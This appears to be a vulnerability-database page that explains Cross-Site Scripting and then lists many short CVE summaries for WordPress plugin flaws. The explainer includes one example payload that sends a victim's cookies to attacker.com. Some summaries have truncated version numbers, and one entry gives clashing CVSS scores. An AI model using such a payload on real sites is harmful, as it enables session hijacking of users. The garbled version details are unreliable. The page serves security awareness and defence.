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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38987)

EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in .htaccess Login block WordPress plugin versions up to 0.9a allows remote unauthenticated attackers to execute malicious JavaScript in victim browsers through crafted URLs. The vulnerability requires user interaction (clicking a malicious link) but enables session hijacking, credential theft, and malicious actions in the context of authenticated WordPress administrators. EPSS score of 0.09% (26th percentile) indicates low probability of widespread exploitation, and no active exploitation or public POC has been identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting in Zigaform WordPress plugin versions up to 7.4.2 allows unauthenticated attackers to inject malicious scripts that execute when administrators or users view affected form submissions. The vulnerability achieves changed scope (S:C in CVSS vector), enabling attackers to compromise admin sessions and potentially take over WordPress sites. EPSS probability is low at 0.08% (25th percentile), indicating limited observed exploitation activity. Patchstack vulnerability database confirms the issue but fix version is not independently verified from available data.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in Zigaform Form Builder Lite WordPress plugin through version 7.4.2 allows unauthenticated remote attackers to inject malicious scripts that execute in victims' browsers. The vulnerability requires user interaction (viewing the stored malicious content) and enables changed scope impact, potentially compromising administrator sessions and site integrity. EPSS score of 0.08% (25th percentile) indicates low observed exploitation probability despite the network-accessible attack vector. Patchstack database confirms the vulnerability but patch status is not documented in available references.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) in the SMS Alert Order Notifications WordPress plugin through version 3.7.8 enables remote attackers to execute arbitrary JavaScript in victim browsers by tricking users into clicking malicious links. The vulnerability carries a CVSS score of 7.1 due to changed scope (cross-domain consequences), though exploitation requires user interaction. EPSS probability is low (0.08%, 25th percentile), indicating limited observed exploitation activity. No CISA KEV listing confirms active widespread exploitation, though Patchstack's vulnerability database disclosure suggests the flaw may be targeted in WordPress-specific attack campaigns.

WordPress XSS Sms Alert Order Notifications
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in the Small Package Quotes - Unishippers Edition WordPress plugin through version 2.4.9 allows remote attackers to inject malicious scripts that execute in victims' browsers when users click crafted links. The CVSS vector indicates network-based exploitation requiring user interaction but no authentication, with changed scope enabling attacks beyond the vulnerable component's security context. EPSS score of 0.08% (25th percentile) suggests low observed exploitation activity, though no public exploit code or CISA KEV listing exists at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HasThemes WP Templata allows Reflected XSS.0.7. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Variable Inspector WordPress plugin versions up to 2.6.2 enables remote attackers to execute arbitrary JavaScript in victim browsers via crafted URLs requiring user interaction. The vulnerability stems from improper neutralization of input during page generation (CWE-79). With CVSS 7.1 and scope change capability, successful exploitation allows limited data theft, session hijacking, and malicious actions under victim context. EPSS score of 0.09% (26th percentile) suggests low probability of mass exploitation. No public exploit identified at time of analysis, and no CISA KEV listing indicates no confirmed active exploitation campaigns.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cristián Lávaque s2Member Pro allows Reflected XSS. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in IE CSS3 Support WordPress plugin through version 2.0.1 allows remote attackers to execute arbitrary JavaScript in victim browsers via crafted URLs. The vulnerability requires user interaction (clicking a malicious link) but needs no authentication and can impact other site origins due to changed scope (S:C in CVSS). EPSS probability is low (0.09%, 26th percentile) with no confirmed active exploitation or CISA KEV listing, indicating limited real-world targeting despite moderate CVSS 7.1 scoring.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in the WordPress TTT Crop plugin versions up to 1.0 enables remote attackers to inject malicious JavaScript into victim browsers via crafted URLs. With a CVSS score of 7.1 and changed scope, successful exploitation allows attackers to steal session tokens, perform actions as the victim, or deliver phishing content within the WordPress admin context. EPSS exploitation probability is low at 0.09% (26th percentile), and no public exploit code or active exploitation has been identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in sidebarTabs WordPress plugin versions ≤3.1 enables remote attackers to inject malicious scripts via crafted URLs that execute in victim browsers when user interaction occurs. Reported by Patchstack security research (audit@patchstack.com), this vulnerability exploits improper input neutralization during page generation. EPSS score of 0.09% (26th percentile) suggests low widespread exploitation probability, with no CISA KEV listing or public POC identified at time of analysis, indicating limited active exploitation despite moderate CVSS severity.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected XSS in Events Planner WordPress plugin versions up to 1.3.10 allows remote attackers to inject malicious scripts via crafted URLs that execute in victims' browsers when clicked. Reported by Patchstack security researchers, the vulnerability requires user interaction (opening a malicious link) but needs no authentication, enabling session hijacking, credential theft, or malicious actions in the context of authenticated WordPress users. EPSS score of 0.09% (26th percentile) indicates low observed exploitation probability in the wild, with no CISA KEV listing or public proof-of-concept identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in DL Leadback WordPress plugin versions up to 1.2.1 allows remote attackers to inject malicious scripts that execute in victim browsers when users click crafted links. The vulnerability permits theft of session cookies, credential harvesting, or defacement of WordPress admin interfaces. EPSS score of 0.09% (26th percentile) suggests low observed exploitation activity, and no active exploitation is confirmed via CISA KEV. Patchstack documented this XSS flaw affecting all installations through version 1.2.1.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in the Rocket Mobile WordPress plugin through version 1.3.3 allows remote attackers to inject malicious scripts via crafted URLs. Successful exploitation requires victim interaction (clicking a malicious link). The vulnerability enables scope change (S:C), allowing attackers to execute JavaScript in the context of another user's session, potentially leading to session hijacking, credential theft, or site defacement. EPSS score of 0.09% (26th percentile) suggests low observed exploitation in the wild, and no public exploit code or CISA KEV listing identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in ViperBar WordPress plugin versions up to 2.0 allows remote attackers to execute arbitrary JavaScript in victim browsers through crafted URLs requiring user interaction. Reported by Patchstack security researchers, this network-exploitable vulnerability has a low EPSS score (0.09%, 26th percentile) indicating minimal observed exploitation activity. The changed scope (S:C) in the CVSS vector indicates potential impact beyond the vulnerable component, enabling session hijacking or privilege escalation within WordPress installations.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in the Migrate Posts WordPress plugin (versions ≤1.0) allows remote attackers to execute arbitrary JavaScript in victim browsers via crafted requests. Attack requires user interaction (CVSS UI:R) but no authentication (PR:N), enabling social engineering vectors such as malicious links in phishing emails. Exploitation probability is low (EPSS 0.09%, 26th percentile) with no public exploit identified at time of analysis. Patchstack vulnerability database confirms the flaw but patch status requires verification with plugin maintainers.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Authors Autocomplete Meta Box WordPress plugin versions up to 1.2 allows remote attackers to execute arbitrary JavaScript in victim browsers. Exploitation requires user interaction - a logged-in administrator or editor must click a malicious link. While CVSS rates this 7.1 (High) due to changed scope, the EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation. No active exploitation confirmed; no CISA KEV listing.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored Cross-Site Scripting (XSS) in WordPress Staff Directory Plugin (Company Directory) versions up to 4.3 allows remote unauthenticated attackers to inject malicious JavaScript that executes in victims' browsers. The CVSS 7.1 score reflects Changed scope (S:C), indicating the injected script can operate outside the vulnerable component's security context. EPSS probability is low (0.09%, 26th percentile) with no confirmed active exploitation. Patchstack database identifies this as a stored XSS variant, meaning the malicious payload persists in the WordPress database and triggers whenever affected pages are viewed.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected XSS in the Meta Accelerator WordPress plugin through version 1.0.4 enables remote attackers to execute arbitrary JavaScript in victim browsers through crafted URLs. The vulnerability exploits improper input sanitization in web page generation, requiring victim interaction (user must click a malicious link) but no authentication. Changed scope (S:C) indicates potential session hijacking or actions outside the vulnerable component's context. EPSS score of 0.09% (26th percentile) suggests low observed exploitation probability. No CISA KEV listing or public exploit code identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in WP Find Your Nearest WordPress plugin versions up to 0.3.1 allows remote attackers to execute malicious JavaScript in victim browsers via crafted URLs. The vulnerability enables attackers to steal session cookies, perform actions as the victim, or deliver malware, provided the victim clicks a malicious link. EPSS score of 0.09% suggests low current exploitation probability, and no active exploitation or public proof-of-concept has been identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in the Uncomplicated SEO WordPress plugin through version 1.2 allows remote attackers to execute arbitrary JavaScript in victim browsers. The vulnerability requires user interaction (CVSS UI:R) and features a changed scope (S:C), indicating potential access to resources beyond the vulnerable component. With EPSS exploitation probability at 0.09% (26th percentile) and no CISA KEV listing, this represents a moderate real-world threat primarily relevant to targeted phishing campaigns against WordPress site administrators.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in WP Church Center plugin (versions ≤1.3.3) enables network-based attackers to execute arbitrary JavaScript in victim browsers without authentication, requiring only that a user click a malicious link. The scope-change vector indicates potential compromise beyond the vulnerable plugin itself. EPSS exploitation probability is low (0.09%, 26th percentile) with no evidence of active exploitation or public proof-of-concept at time of analysis, suggesting this remains a theoretical risk requiring social engineering to weaponize.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting in WP Less Compiler WordPress plugin versions through 1.3.0 enables remote unauthenticated attackers to inject malicious scripts that execute in victim browsers when triggered by user interaction. The vulnerability affects a WordPress LESS CSS preprocessor plugin, with scope change (S:C) indicating potential attack escalation beyond the plugin's security context. EPSS score of 0.09% (26th percentile) suggests low probability of widespread exploitation attempts. No active exploitation confirmed by CISA KEV at time of analysis.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Social Links allows Stored XSS.0.11. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site scripting (XSS) in WP Frontend Submit 1.1.0 and earlier allows remote attackers to execute arbitrary JavaScript in victim browsers via maliciously crafted input. The vulnerability features network-based attack vector with low complexity but requires user interaction, enabling attackers to modify page content and steal session tokens with changed security context (scope:changed). EPSS score of 0.09% (26th percentile) indicates very low automated exploitation probability, and no active exploitation or public POC has been identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in the Visitor Details WordPress plugin through version 1.0.1 allows remote unauthenticated attackers to inject malicious scripts that execute when authenticated users view visitor logs. The vulnerability leverages improper input sanitization in user-controllable fields (likely visitor metadata like User-Agent, referrer, or custom parameters). Exploitation requires victim interaction (UI:R) with the modified scope (S:C) enabling attacks beyond the vulnerable plugin's context. EPSS exploitation probability is low at 0.09% (26th percentile), and no active exploitation or public POC has been identified at time of analysis, making this a moderate-priority remediation for sites using this plugin in administrative contexts.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound RJ Quickcharts allows Stored XSS.6.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in the Callback Request WordPress plugin through version 1.4 allows remote attackers to inject malicious JavaScript by manipulating user-supplied input reflected in web page output without proper sanitization. Exploitation requires victim interaction (UI:R) with a crafted link but needs no authentication (PR:N), enabling attacks via phishing or malicious websites. The changed scope (S:C) indicates potential impact beyond the vulnerable plugin itself. EPSS score of 0.09% (26th percentile) suggests low immediate exploitation risk, and no active exploitation or public POC has been identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in the WordPress plugin 'Contact Us By Lord Linus' (versions up to 2.6) allows remote attackers to execute arbitrary JavaScript in victim browsers by crafting malicious URLs. Exploitation requires user interaction (clicking a link or visiting a crafted page), but no authentication is needed. CVSS 7.1 reflects scope change indicating potential session hijacking across security contexts. EPSS score of 0.15% (36th percentile) suggests low mass-exploitation probability, though XSS vulnerabilities in WordPress plugins remain attractive targets for phishing and account takeover campaigns.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Status Updater WordPress plugin (versions ≤1.9.2) allows remote unauthenticated attackers to inject malicious scripts that execute in victims' browsers with changed security context (CVSS scope change). Attack vector is network-based with low complexity but requires user interaction (typically clicking a crafted link). EPSS score of 0.15% (36th percentile) indicates low automated exploitation probability. No CISA KEV listing or public POC identified at time of analysis. Patchstack database entry suggests this may be part of a broader WordPress plugin vulnerability pattern, though reference URLs contain inconsistent metadata (titles reference different plugin 'WP Spell Check' despite CVE being for Status Updater).

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting in Theme Options Z WordPress plugin through version 1.4 allows remote attackers to inject malicious scripts that execute in victim browsers when authenticated users view affected pages. Despite the CVSS 7.1 rating suggesting network-accessible exploitation without authentication (PR:N), stored XSS vulnerabilities in WordPress plugins typically require at least contributor-level access to inject payloads, creating a discrepancy between the CVSS vector and realistic exploitation requirements. EPSS score of 0.09% (26th percentile) indicates low observed exploitation probability, and no active exploitation has been confirmed by CISA KEV or other threat intelligence sources.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Woocommerce osCommerce Sync WordPress plugin versions through 2.0.20 enables remote attackers to execute arbitrary JavaScript in victim browsers via malicious URLs. The vulnerability requires user interaction (clicking a crafted link) but no authentication, making it exploitable through phishing or social engineering campaigns. With EPSS at 0.09% (26th percentile), exploitation probability remains low, and no active exploitation or public POC has been identified at time of analysis.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in WPOptin (WordPress plugin 'Top Bar - PopUps - by WPOptin') versions up to 2.0.8 allows remote attackers to inject malicious JavaScript through unsanitized input parameters. With CVSS 7.1 (AV:N/AC:L/PR:N/UI:R/S:C), successful exploitation requires user interaction but no authentication, enabling session hijacking, credential theft, or malicious actions in victim context. EPSS score of 0.09% (26th percentile) indicates low observed exploitation activity. Patchstack vulnerability database confirms this issue with no current evidence of active exploitation or public POC.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Like dislike plus counter allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in the User Role WordPress plugin versions up to 1.0 allows remote attackers to execute arbitrary JavaScript in victim browsers via crafted URL parameters. The vulnerability requires user interaction (victim must click a malicious link) but needs no authentication, enabling attackers to steal session cookies, perform actions as the victim, or deliver malware. EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation. No CISA KEV listing confirms this is not yet actively exploited in the wild, though Patchstack has documented the flaw in their WordPress vulnerability database.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Implied Cookie Consent WordPress plugin through version 1.3 allows remote attackers to execute arbitrary JavaScript in victims' browsers via crafted URLs requiring user interaction. Reported by Patchstack's security audit team, this network-accessible vulnerability scores CVSS 7.1 due to scope change enabling attacks across security contexts. EPSS exploitation probability is low at 0.15% (36th percentile), and no active exploitation has been confirmed in CISA KEV, though Patchstack tracking suggests awareness in vulnerability databases targeting WordPress plugins.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in SW Plus WordPress plugin through version 2.1 allows remote attackers to inject malicious scripts into web pages viewed by other users. Attack requires user interaction (victim must click a malicious link) but needs no authentication. EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation, consistent with typical reflected XSS patterns requiring social engineering. Patchstack database lists this as a confirmed vulnerability with dedicated entry, though no public exploit code or CISA KEV listing exists at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in the Yahoo BOSS WordPress plugin (versions up to 0.7) allows remote attackers to execute arbitrary JavaScript in victims' browsers through crafted URLs. The vulnerability requires user interaction (clicking a malicious link) but no authentication, enabling session hijacking, credential theft, and phishing attacks against WordPress site users. EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation, and no active exploitation is documented in CISA KEV. Patchstack database confirms the vulnerability with technical details available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Appointment Buddy Widget (WordPress plugin) versions up to 1.2 allows remote attackers to execute malicious scripts in victim browsers via crafted URLs. Scope change in CVSS vector indicates potential session hijacking or data exfiltration across origin boundaries. EPSS score of 0.15% (36th percentile) suggests low likelihood of mass exploitation, but XSS remains a viable social engineering attack vector. Reported by Patchstack audit team with public disclosure via vulnerability database.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in All push notification for WP plugin versions through 1.5.3 allows remote attackers to execute arbitrary JavaScript in victim browsers via crafted URLs requiring user interaction. While CVSS rates this 7.1 (High) with changed scope indicating potential token theft or session hijacking beyond the plugin context, EPSS exploitation probability remains low at 0.15% (36th percentile), and no public exploit code or active exploitation (non-KEV) has been identified. Patchstack identified and reported this vulnerability, indicating security research focus on WordPress plugins.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in the Dreamstime Stock Photos WordPress plugin (versions up to 4.1) allows remote attackers to inject malicious JavaScript into user browsers via crafted URLs. The vulnerability requires victim interaction (UI:R) but no authentication (PR:N), enabling session hijacking, credential theft, or malicious redirects when users click attacker-controlled links. EPSS exploitation probability is low at 0.09% (26th percentile), with no confirmed active exploitation or public proof-of-concept at time of analysis. The changed scope (S:C) in the CVSS vector indicates potential impact beyond the vulnerable plugin context, affecting the WordPress installation or user session integrity.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Image Rotator WordPress plugin allows remote attackers to inject malicious JavaScript via crafted URLs that execute in victim browsers when users click attacker-controlled links. Affects all versions through 2.0 with no public exploit identified at time of analysis. EPSS score of 0.15% (36th percentile) indicates low predicted exploitation probability, consistent with typical WordPress plugin XSS requiring user interaction.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected XSS in seekXL Snapr WordPress plugin (versions through 2.0.6) allows remote attackers to inject malicious scripts via unsanitized input parameters, executing arbitrary JavaScript in victim browsers when users click crafted links. The CVSS 7.1 score reflects changed scope (S:C) indicating potential impact beyond the vulnerable component, though the low EPSS score (0.09%, 26th percentile) suggests minimal active exploitation. Patchstack published the vulnerability details, but no vendor patch version beyond 2.0.6 is confirmed in available data.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound UniTimetable allows Stored XSS.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting in EP4 More Embeds WordPress plugin (all versions up to 1.0.0) allows remote attackers to inject malicious JavaScript into website content that executes in victims' browsers. Despite CVSS 7.1, exploitation probability is very low (EPSS 0.09%, 26th percentile) and requires user interaction. No active exploitation confirmed, no vendor patch identified, and limited deployment scope of this niche WordPress plugin significantly reduces real-world risk.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in Album Reviewer WordPress plugin versions up to 2.0.2 allows remote unauthenticated attackers to inject malicious JavaScript into album review content that executes when other users view the compromised pages. The vulnerability enables session hijacking, credential theft, and malicious actions performed in the context of victim users, with cross-site scope allowing attacks beyond the vulnerable component's security boundary. EPSS score of 0.15% (36th percentile) indicates relatively low automated exploitation probability, and no active exploitation is documented in CISA KEV at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CreativeMindsSolutions CM Map Locations allows Reflected XSS.0.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CreativeMindsSolutions CM Email Registration Blacklist and Whitelist allows Reflected XSS.5.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound WP Easy Post Mailer allows Reflected XSS.64. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Rebrand Fluent Forms allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Local Shipping Labels for WooCommerce allows Reflected XSS.0.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Stray Random Quotes allows Reflected XSS.9.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound LJ Custom Menu Links allows Reflected XSS.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PillarDev Easy Automatic Newsletter Lite allows Reflected XSS.2.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound First Comment Redirect allows Reflected XSS.0.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Mojo Under Construction allows Reflected XSS.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Site Launcher allows Reflected XSS.9.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wphrmanager WP-HR Manager: The Human Resources Plugin for WordPress allows Reflected XSS.1.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Woo Update Variations In Cart allows Stored XSS.0.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound CRUDLab Like Box allows Reflected XSS.0.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Guten Free Options allows Reflected XSS.9.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound DsgnWrks Twitter Importer allows Reflected XSS.1.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound DN Sitemap Control allows Reflected XSS.0.6. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Notifications Center allows Reflected XSS.5.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Easy School Registration allows Reflected XSS.9.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound WP Ultimate Reviews FREE allows Reflected XSS.0.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Ps Ads Pro allows Reflected XSS.0.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Form To JSON allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

